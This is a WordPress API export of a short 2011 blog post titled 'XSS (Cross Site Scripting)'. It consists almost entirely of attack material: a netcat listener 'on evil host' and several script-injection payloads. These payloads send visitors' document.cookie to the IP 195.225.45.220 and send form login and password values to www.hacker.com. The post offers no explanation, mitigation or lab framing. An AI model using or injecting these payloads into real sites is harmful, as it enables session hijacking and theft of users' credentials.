{"id":191,"date":"2011-01-10T22:07:10","date_gmt":"2011-01-10T21:07:10","guid":{"rendered":"https:\/\/thebc.ch\/blog\/?p=191"},"modified":"2013-02-01T13:18:26","modified_gmt":"2013-02-01T12:18:26","slug":"xss-cross-site-scripting","status":"publish","type":"post","link":"https:\/\/thebc.ch\/blog\/?p=191","title":{"rendered":"XSS (Cross Site Scripting)"},"content":{"rendered":"<p>listener on evil host:<\/p>\n<pre>nc -l -p 80<\/pre>\n<p>example script on attacked server:<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">&nbsp;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;\/script&amp;gt;<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<ul>\n<li>Example 1<\/li>\n<\/ul>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">&nbsp;&amp;lt;script&amp;gt;document.write(\\'&amp;lt;img src=&lt;a title=&quot;http:\/\/195.225.45.220\/\\'&quot; href=&quot;http:\/\/195.225.45.220\/%5C%27&quot; rel=&quot;nofollow&quot;&gt;http:\/\/195.225.45.220\/\\'&lt;\/a&gt; + document.cookie + \\'&amp;gt;\\')&amp;lt;\/script&amp;gt;<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<ul>\n<li>Example 2<\/li>\n<\/ul>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">&nbsp;&amp;lt;script&amp;gt;(new Image).src=&quot;&lt;a title=&quot;http:\/\/195.225.45.220\/c.php?c=&quot; href=&quot;http:\/\/195.225.45.220\/c.php?c=&quot; rel=&quot;nofollow&quot;&gt;http:\/\/195.225.45.220\/c.php?c=&lt;\/a&gt;&quot; + escape(document.cookie)&amp;lt;\/script&amp;gt;<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<ul>\n<li>Example 3<\/li>\n<\/ul>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">&nbsp;&amp;lt;script&amp;gt;(new Image).src='&lt;a title=&quot;http:\/\/www.hacker.com\/'&quot; href=&quot;http:\/\/www.hacker.com\/%27&quot; rel=&quot;nofollow&quot;&gt;http:\/\/www.hacker.com\/'&lt;\/a&gt; + document.forms(1).login.value + ':' + document.forms(1).password.value&amp;lt;\/script&amp;gt;<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n","protected":false},"excerpt":{"rendered":"<p>listener on evil host: nc -l -p 80 example script on attacked server: 1&nbsp;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;\/script&amp;gt; Example 1 1&nbsp;&amp;lt;script&amp;gt;document.write(\\&#8217;&amp;lt;img src=&lt;a title=&quot;http:\/\/195.225.45.220\/\\&#8217;&quot; href=&quot;http:\/\/195.225.45.220\/%5C%27&quot; rel=&quot;nofollow&quot;&gt;http:\/\/195.225.45.220\/\\'&lt;\/a&gt; + document.cookie + \\&#8217;&amp;gt;\\&#8217;)&amp;lt;\/script&amp;gt; Example 2 1&nbsp;&amp;lt;script&amp;gt;(new Image).src=&quot;&lt;a title=&quot;http:\/\/195.225.45.220\/c.php?c=&quot; href=&quot;http:\/\/195.225.45.220\/c.php?c=&quot; rel=&quot;nofollow&quot;&gt;http:\/\/195.225.45.220\/c.php?c=&lt;\/a&gt;&quot; + escape(document.cookie)&amp;lt;\/script&amp;gt; Example 3 1&nbsp;&amp;lt;script&amp;gt;(new Image).src='&lt;a title=&quot;http:\/\/www.hacker.com\/&#8217;&quot; href=&quot;http:\/\/www.hacker.com\/%27&quot; &hellip; <a href=\"https:\/\/thebc.ch\/blog\/?p=191\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[13],"tags":[],"class_list":["post-191","post","type-post","status-publish","format-standard","hentry","category-security"],"_links":{"self":[{"href":"https:\/\/thebc.ch\/blog\/index.php?rest_route=\/wp\/v2\/posts\/191","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thebc.ch\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thebc.ch\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thebc.ch\/blog\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/thebc.ch\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=191"}],"version-history":[{"count":5,"href":"https:\/\/thebc.ch\/blog\/index.php?rest_route=\/wp\/v2\/posts\/191\/revisions"}],"predecessor-version":[{"id":2739,"href":"https:\/\/thebc.ch\/blog\/index.php?rest_route=\/wp\/v2\/posts\/191\/revisions\/2739"}],"wp:attachment":[{"href":"https:\/\/thebc.ch\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=191"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thebc.ch\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=191"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thebc.ch\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=191"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}